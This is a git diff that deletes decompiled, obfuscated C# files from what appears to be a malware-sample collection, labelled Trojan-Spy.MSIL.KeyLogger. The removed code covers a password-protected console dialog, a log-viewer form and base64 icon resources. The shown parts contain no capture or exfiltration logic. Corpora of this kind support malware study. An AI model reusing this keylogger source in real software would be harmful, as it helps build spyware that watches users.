a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.cs deleted file mode 100644 index 0cf00ce4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: យ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class យ : Form -{ - private IContainer ᡉᙃ; - private TextBox ᡊᙃ; - private Button ᡋᙃ; - - public យ() - { - this.ᡈᙃ(); - ᙀ.ᙬ.\u1759 = true; - } - - ~យ() => ᙀ.ᙬ.\u1759 = false; - - private void ᡆᙃ(object ᙂ, EventArgs ᙄ) - { - if (\u17E0.\u17E6(this.ᡊᙃ.Text) == Settings.Default.ConsolePassword || Settings.Default.ConsolePassword == \u17E0.\u17E6(ᙵ.\u17E8ᙃ)) - { - ᙀ.ᙬ.\u1756(); - ᙀ.ᙬ.\u1759 = false; - this.Close(); - } - else - { - int num = (int) MessageBox.Show(ᙵ.\u17EAᙃ); - ᙀ.ᙬ.\u1759 = false; - this.Close(); - } - } - - private void ᡇᙃ(object ᙂ, FormClosedEventArgs ᙄ) => ᙀ.ᙬ.\u1759 = false; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡉᙃ != null) - this.ᡉᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡈᙃ() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (យ)); - this.ᡊᙃ = new TextBox(); - this.ᡋᙃ = new Button(); - this.SuspendLayout(); - this.ᡊᙃ.Location = new Point(12, 29); - this.ᡊᙃ.Name = ᙵ.\u17ECᙃ; - this.ᡊᙃ.Size = new Size(199, 20); - this.ᡊᙃ.TabIndex = 0; - this.ᡊᙃ.UseSystemPasswordChar = true; - this.ᡋᙃ.Location = new Point(219, 24); - this.ᡋᙃ.Name = ᙵ.\u17EEᙃ; - this.ᡋᙃ.Size = new Size(75, 28); - this.ᡋᙃ.TabIndex = 10; - this.ᡋᙃ.Text = ᙵ.\u17F0ᙃ; - this.ᡋᙃ.UseVisualStyleBackColor = true; - this.ᡋᙃ.Click += new EventHandler(this.ᡆᙃ); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = Color.FromArgb(35, 35, 35); - this.ClientSize = new Size(306, 85); - this.Controls.Add((Control) this.ᡋᙃ); - this.Controls.Add((Control) this.ᡊᙃ); - this.Icon = (Icon) componentResourceManager.GetObject(ᙵ.\u17F2ᙃ); - this.MaximumSize = new Size(322, 123); - this.MinimumSize = new Size(322, 123); - this.Name = ᙵ.\u1802ᙃ; - this.Text = ᙵ.\u1804ᙃ; - this.FormClosed += new FormClosedEventHandler(this.ᡇᙃ); - this.ResumeLayout(false); - this.PerformLayout(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.resx deleted file mode 100644 index ba9acee3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAGYjAAACAAABAAQAICAAAAEAIACoEAAARgAAACAgAAABAAgAqAgAAO4QAAAQEAAAAQAgAGgEAACWGQAAEBAAAAEACABoBQAA/h0AACgAAAAgAAAAQAAAAAEAIAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/28/EP9nN2D/aTeA/2k3gP1pOL/9aTiH/2k3gP5pOGj/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2c3YP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9ZzfP/mk4aP9fPwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2k5UP1nN8//aTj//2k4//9pOP//h2H//6CA//+ggP//uKD//6CA//+ggP//j2r//208//9pOP//aTj//Wc45/5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP1pOY//aTj//2k4//9yRP//pYj//8Sx///Kuf//yrn//8q5///Kuf//yrn//8q5///Kuf//yrn//6iM//97Uf//aTj//2k4//1nN6//Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzev/2k4//9sO///lHH//7yn//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+cfP//bkD//2k4//1nN8//bz8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/Wg3l/9pOP//bT///6OE//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+ni///dUf//2k4//1pOMf/Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oOHD/aTj//Wc37/+fgf//p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+khv//c0X//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Zjko/Wk29/9pOP//jWj//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+Tcf//bD3//2k4//5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAP1nN6//aTj//5Bs//+QbP//kGz//5Bs//+QbP//kGz//5Bs//+QbP//kGz//6WI//+skf//xLH//8i2///VyP//49r//+Pa///j2v//49r//+Pa///j2v//r5b//5Bs//9/Vv//aTj//Wc45/9fPwgAAAAAAAAAAAAAAAD/ajow/2k4//1pNvf/glj//4Rc//+TcP//o4X//7KZ///Crv//1cf//+Tb///////////////////////////////////////////////////////////////////u6P//o4X//4Nb//9uP///aTj//mk4aAAAAAAAAAAAAAAAAP1pOY//aTj//Wk5j//d0v//////////////////////////////////////////////////////////////////////////////////////////////////////7+/v//+8pv//eEz//3NF//9pOP/9aTi/AAAAAAAAAAAAAAAA/Wk43/9pOP//ooP////////////////////////////////////////////////////////////////////////////////////////////////////////////v7+///6+U//9wQf//cEH//2o4//9pOP//bz8QAAAAAP9nNyD/aTj//Wc37/+xmP////////Lv/////////////////+Li4v/////////////////////////////////////////////////v7+//7+/v/////////////////+/v7///kGz//2s7//9rO///aTn//2k4//5oN1gAAAAA/2c3QP9pOP/9aTjH/519///n4P/////////////6+f//////2NjY/9jY2P/Y2Nj/2NjY/+Li4v/i4uL/4uLi/+/v7//v7+//7+/v/+/v7/////////////////////////bz//9uPv//aTj//2k4//9pOP//aTj//mg4cAAAAAD+aDdY/2k4//9pOP//aTj//2k4//+KZP//y7r/////////////////2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/7+/v////////////////////////vaj//2k4//9pOP//aTj//2k4//9pOP/9aTiHAAAAAP5pOGj/aTj//2k4//9pOP//aTj//2k4//9pOP//gVf//9nN////////9vP//////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P////////////////////////r5//93S///aTj//2k4//9pOP//aTj//2k4//1oOJ8AAAAA/2k5UP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//9DB/////////////////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/////////////////////////////uKH//2k4//9pOP//aTj//2k4//9pOP//aTj//2k3gAAAAAD+aDY4/2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//bj7//+fg/////////////////9jY2P/Y2Nj/2NjY/9jY2P///////////////////////+zm//9uPv//aTj//2k4//9pOP//aTj//2o4//9pOP/+aThoAAAAAP9vPxD/aTj//Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//mHb/////////////////2NjY/9jY2P/Y2Nj/////////////////////////////k3D//2k4//9pOP//aTj//2k4//9pOP//aTn//2k4//9nN0AAAAAAAAAAAP1pOMf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//49r////////////Y2Nj/2NjY/+/v7//////////////x7P///////7ih//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9Zzfv/18/CAAAAAAAAAAA/2g3eP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2s6//+1nf///////////+/v7//Y2Nj/////////////7+r////////Yy///azv//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//1pOKcAAAAAAAAAAAAAAAD/ajUY/Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9yRP//jmn//6yR////////////7+/v//////////////z6////////6uP//5Nx//+Pa///d0r//2k4//9pOP//aTj//2k4//1pNvf/aTj//2k5UAAAAAAAAAAAAAAAAAAAAAD9aTiH/2k4//9pOP//aTj//2k4//9pOP//d0r//519//+fgP//t6D///////////////////bz/////////////9vP//+liP//n4D//5+A//+fgP//fFH//2k4//9pOP//aTj//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzjn/2k4//9pOP//aTj//2k4//+WdP//rpP//66T///Crv////////////////////////Dr///Fsf//rpP//66T//+uk///rpP//66T//+ff///aTj//2k4//9pOP//aTj//2o6MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9aTb3/2k4//9oOP//aTj//62S//+9p///vaf//9TF/////////v7//+be///QwP//vaf//72n//+9p///vaf//72n//+9p///vaf//7eg//9pOP//aTj//2k4//5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j/aTj//2k4//9pOP//mnr//8u6///Luv//0MD//9/U///d0///y7r//8u6///Luv//y7r//8u6///Luv//y7r//8u6///Luv//j2r//2k4//9pOP/9aTmPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j9aTb3/2k4//1nN8//o4f//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//yLf//4Zf//9pOP//aTj//2k3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9Zzjn/2k4//9pOP//dUj//66V///h1///6eH//+nh///p4f//6eH//+nh///l3P//waz//5Z0//9pOP//aTj//Wc37/5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj/aTeA/Wc37/9pOP//aTj//2k4//9wQP//fVP//31T//99U///eEz//2k4//9pOP//aTj//2k4//1oN5f/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ajUY/mk4aP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//Wc3z/9oN3j/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+aDY4/2c3QP9nN0D/ZzdA/2c3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////4P///wAf//wAB//wAAH/4AAA/8AAAH/AAAA/gAAAPwAAAB8AAAAeAAAADgAAAA4AAAAOAAAADgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADwAAAA8AAAAfAAAAH4AAAD/AAAB/4AAAf/AAAP/4AAP//AAH//+AP//////8oAAAAIAAAAEAAAAABAAgAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAA/18///9nN//+aDb//2g3//9qNf//Zjn//mg4//9oOP//ajn//2w7//9sPf//bj7//25A//9wQP//ckT//3VH//91SP//d0r//3hM//97Uf//fFL//39W//+BV///gln//4Rc//+GX///h2H//4pk//+NaP//jmr//5Bs//+TcP//lHH//5Z0//+Ydv//mnr//5x8//+ff///n4D//6CA//+ig///o4X//6SG//+liP//p4v//6iM//+skf//rpP//66V//+xmP//spn//7Wd//+3oP//uKD//7ym//+9qP//v6r//8Gs///Crv//xLH//8i2///Kuf/Y2Nj//9DA///Uxv//1cj//9jL///Zzf//2s7//93S///f1P//4df//+Pa///k2///5dz//+be/+Li4v/v7+///+fg///p4f//6uP//+zm///u6f//8Ov///Hs///y7///9vP///r5///8+v///v7/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAP///////////////////////////////////////////////////////////////////////////////////////////////////wQECAgICQQEL////////////////////////////y8EBBsnJzUnJx4LBAT//////////////////////wQEDis7PT09PT09PT0tFAQ5//////////////////8/BCA4ODk4ODg4ODg4ODg4JA0E////////////////DQ0qMjIyMjIyMjIyMjIyMjMyKw8//////////////0b/OSotLCwtLCwsLCwsLS0tLS0sKg8E////////////BBwkIyQkJCMkIyQkJCQjIyMjIyMkIBFH/////////z8tJR4eHh4eHh4sLjs8QUlJSUlJSS8eFgT///////8n/xYZICoyOkFKWVlZWVlZWVlZWVlZUioYElT//////1T/VFhZWVlZWVlZWVlZWVlZWVlZWVlNNhIPBP//////DSpZWVlZWVlZWVlZWVlZWVlZWVlZWU0vDQ8RVv///yf/P1ZUWFlZTFlZWVlZWVlZWU1NWVlZTR4JBAkE////G/8nT1hZV1k+Pj4+TExMTU1NTVlZWVlWDQkEElT///8nDwQEHD9YWVk+Pj4+Pj4+Pj5NWVlZWTYECQQEBP///wQEBA0EBBZEWVZZPj4+Pj4+PllZWVhYEgQEBBFW////KBEEBAQECQQ/WVlZPj4+Pj5ZWVlZWTUEBAQNBAT///8gDQQEBAQJBAtOWVlZPj4+PllZWFhUDQQEBAQYWf///0L/NQQEBAQECSJYWVk+Pj5ZWVlZWB8EBA0EBAQU/////wQEBAQLBAkEBEhZWT4+TVlYVFg2BAQEBAQRVv//////WSgRBA0EBAQENVhZTT5ZWVJYQgQEBAQNBA8g////////BAQEBAQEDRwuWVlNWVhYVk8gHhEEBAQv/1n///////9ZNhgEBBInJzVYWFlWWFhFKicnJxEEBAQE//////////8SBAQEIC8vOVhYWFZPOy8vLy8vKAQWOVn///////////9ZGwQvNjlAVlZKPzY2NjY2Njk1BAQR/////////////zYgJyo8PT9GRjw/PT88Pz08Py88Wf////////////////9Z/1ZERkJCRkJEQkJEQj0bETb///////////////////82EQ8vQkZGRkpPSjk1PFn/////////////////////////WUY8HBYRFg8EETZH/////////////////////////////zk1Ly85RFn///////////////////////////////////////////////////////////////////g////AB///AAH//AAAf/gAAD/wAAAf8AAAD+AAAA/AAAAHwAAAB4AAAAOAAAADgAAAA4AAAAOAAAABgAAAAYAAAAGAAAADgAAAA4AAAAPAAAADwAAAB8AAAAfgAAAP8AAAH/gAAB/8AAA//gAA//8AAf//4A///////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/PwT+aDY4/2k5UP5oNkL/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2YzFP5nOIz+aTft/35U//+LZP//hVz//3RG//5oN83+ZzhWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/mk3Lv5pOeP/i2X//7qj///Fsv//xbL//8Wy///Fsv//qIz//3dL//1oN6H/fz8EAAAAAAAAAAAAAAAA/mQ2HP5pN+H/lnT//62T//+tk///rZP//62T//+tk///rZP//62T//+qj///fVP//Wg4nwAAAAAAAAAAAAAAAP1pN7P/hl7//5Z0//+WdP//lnT//5t7//+qjv//tZ3//7+r//+/q///v6v//5t8//9vQf/+ZjdSAAAAAP9qOjD+aTfh/7mh///Nvf//3dH//+7o//////////////////////////////////vPwf//d0v//mk3yQAAAAD/aTeA/opi+//8+///////+Pj4///////////////////////7+/v/+/v7///////3x7j//24+//9pOP/+azoa/mg3pv52SvH/tp////Hs//X19f/Y2Nj/29vb/93d3f/k5OT/6enp/////////////6OE//9pOP//aTj//mo5Pv5pN67/aTj//2k4//9vQP//xLH///38/+Li4v/Y2Nj/2NjY//X19f///////+zm//9tPf//aTj//2k4//5qOEj+aDeS/mg4/f9pOP//aTj//2o6///f1f//////2NjY/+Li4v////////////+Wc///aTj//2k4//9pOP/+ZzYq/2k5UP9pOP//aTj//2k4//9pOP//m3r//////97e3v/7+/v///j1//+/qv//aTj//2k4//9pOP/+aDfl/38AAv9VKgb+aTjf/2k4//9pOP//fFH//6SH///////7+fj///7+///azv//mHf//39V//9pOP/+aDj9/2k3gAAAAAAAAAAA/mc3Sv5oOP3/aTj//6yQ///Aq////////+3n///Mu///tp3//7ad//+wlv//aTj//mg42f9qPwwAAAAAAAAAAAAAAAD+Zzhs/mg4/f6fgPP/1Mb//9zR///TxP//08T//9PE///Ovv//km///mk43/5qOCQAAAAAAAAAAAAAAAAAAAAAAAAAAP5nN0r+aDfb/31T//+pjP//s5r//7KY//+efv//dEf//Wc4p/5oORYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/1UqBv5mOEj+aDeO/2k3oP9pN6D+aTZ0/mQ1JgAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAPAfAADgBwAAwAMAAIADAACAAQAAAAEAAAABAAAAAQAAAAEAAIABAACAAQAAwAMAAOAHAADwDwAA/H8AACgAAAAQAAAAIAAAAAEACAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAD//18///5oN///aDf//2o1//5oOP//aDj//2o5//9tPf//bj7//29A//90Rv//d0r//3xS//9+VP//hVz//4Ze//+KY///i2T//5Jv//+Wc///lnT//5h3//+bev//m3z//55+//+fgP//o4T//6SH//+ojP//qo7//6yS//+wlv//spn//7Wd//+2nf//uaH//7qj//+/qv//wKv//8Sx//fHuP//zLv//829///Ovv/Y2Nj/29vb/93d3f/e3t7/+8/B///TxP//1Mb//9rO///c0f//39X/4uLi/+Tk5P/p6en//+zm///u6P//8ez/9fX1///49f/4+Pj/+/n4//v7+////Pv///38///+/v8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAA/////////////////////////////ycSDwz/////////////EiUoKCgoHiT/////////NCAfIB8fHyAeDv//////EBQUFBceIycnJxsg/////0Q2NjtDREREQ0MxDP////8+QD9DQ0RDQUA+KgwZ////Ojo7LS4vNzlCQxsEBP//CwQLKEI3LS09PjYEDx7///8jBAQ2Pi03Qj4UBAQL//8LBAQEF0IvPjsnDBcy/////zQkFBs+Pj40FA4E////////IyQnPjoqIyo0Mv//////////RDoyMjIyF////////////yQ2NjYyJP//////////////////////////////AADwHwAA4AcAAMADAACAAwAAgAEAAAABAAAAAQAAAAEAAAABAACAAQAAgAEAAMADAADgBwAA8A8AAPx/AAAL - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.cs deleted file mode 100644 index 81ab5679..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ឞ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class ឞ : Form -{ - private IContainer ᡈᙃ; - private RichTextBox ᡉᙃ; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡈᙃ != null) - this.ᡈᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡆᙃ() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ឞ)); - this.ᡉᙃ = new RichTextBox(); - this.SuspendLayout(); - this.ᡉᙃ.Dock = DockStyle.Fill; - this.ᡉᙃ.Location = new Point(0, 0); - this.ᡉᙃ.Name = ᙵ.\u17DA; - this.ᡉᙃ.Size = new Size(792, 455); - this.ᡉᙃ.TabIndex = 0; - this.ᡉᙃ.Text = ""; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(792, 455); - this.Controls.Add((Control) this.ᡉᙃ); - this.Icon = (Icon) componentResourceManager.GetObject(ᙵ.\u17D9); - this.Name = ᙵ.\u17DE; - this.Text = ᙵ.\u17E0; - this.Load += new EventHandler(this.ᡇᙃ); - this.ResumeLayout(false); - } - - public ឞ() => this.ᡆᙃ(); - - public void ហ(string rtf) => this.ᡉᙃ.Text = rtf; - - private void ᡇᙃ(object ᙂ, EventArgs ᙄ) - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.resx deleted file mode 100644 index ba9acee3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 